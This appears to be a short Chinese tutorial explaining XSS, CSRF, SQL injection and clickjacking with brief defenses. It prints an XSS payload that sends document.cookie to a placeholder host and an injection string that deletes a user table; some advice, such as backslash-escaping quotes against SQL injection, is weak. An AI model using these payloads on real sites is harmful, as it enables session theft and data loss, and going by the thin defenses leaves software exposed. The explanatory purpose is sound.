【常见的前端攻击及解决方式有哪些？----简洁易懂】

前言

你所了解的前端攻击手段有哪些，该如何预防？

Cross Site Scripting 跨站脚本攻击
用户通过输入框、文本编辑器等方式，输入带有攻击性的JS代码，从而达到攻击目的。比如：

<script>
	var img = document.createElement('img')
    img.src = 'http://xxx.com/api/xxx?userInfo=' + document.cookie // 将 cookie 提交到自己的服务器
</script>

最简单的预防手段：替换字符串

const newStr = str.replaceAll('<', '&lt;').replaceAll('>', '&gt;')

现代框架如vue、react会自动屏蔽xss攻击。vue的v-html、react的dangerouslySetInnerHTML除外，这两个可以使用xss的npm包来解决。

Cross-site request forgery 跨站请求伪造

攻击过程：
用户登录了网页A（登录后会产生一个cookie），此时，出现一个具有诱导性的链接，用户点了这个链接，跳转到页面B。
如果没有限制跨域，此时B页面已经拿到了用户访问A页面的cookie，页面B就可以伪造请求携带这个cookie给页面A发请求。
如果A页面的是银行页面，B页面发送的是一个转账请求，那用户的损失可就大了。
预防手段：
1、严格的跨域请求限制
2、为 cookie 设置 SameSite 不随跨域请求被发送 Set-Cookie: key1=val1; key2=val2; SameSite=Strict;
3、关键接口使用短信验证码等双重验证

利用sql语句达到工具目的。比如：
登录的时候，输入用户名和密码，服务器会执行select * from user where username = 'xxx' and pwd = 'xxx'。从而找到你的信息。
但是，用户名输入' delete from user where 1=1;--，拼接完密码后是这样：select * from user where username = '' delete from user where 1=1;-- and pwd = 'xxx' ，–后面的是注释，这样会把整个表删除。
解决方法：
服务端进行特殊字符转换，如把 ' 转换为 \'

攻击过程
比如说，用户访问了一个钓鱼网站，里面有诱导内容：免费领取Iphone。这按钮上面可能盖了一个透明的iframe页面，里面嵌了其他页面。你点了之后，可能会执行支付、转账操作，如果你的银行账号是登录状态的话。

与CSRF攻击不同的是，点击劫持需要用户点击操作行为。CSRF不需要用户知道，偷偷完成。

1、JS预防

if (top.location.hostname !== self.location.hostname) {
    
    
    alert("您正在访问不安全的页面，即将跳转到安全页面！")
    top.location.href = self.location.href
}

2、限制跨域。增加 http header X-Frame-Options:SAMEORIGIN ，让 <iframe> 只能加载同域名的网页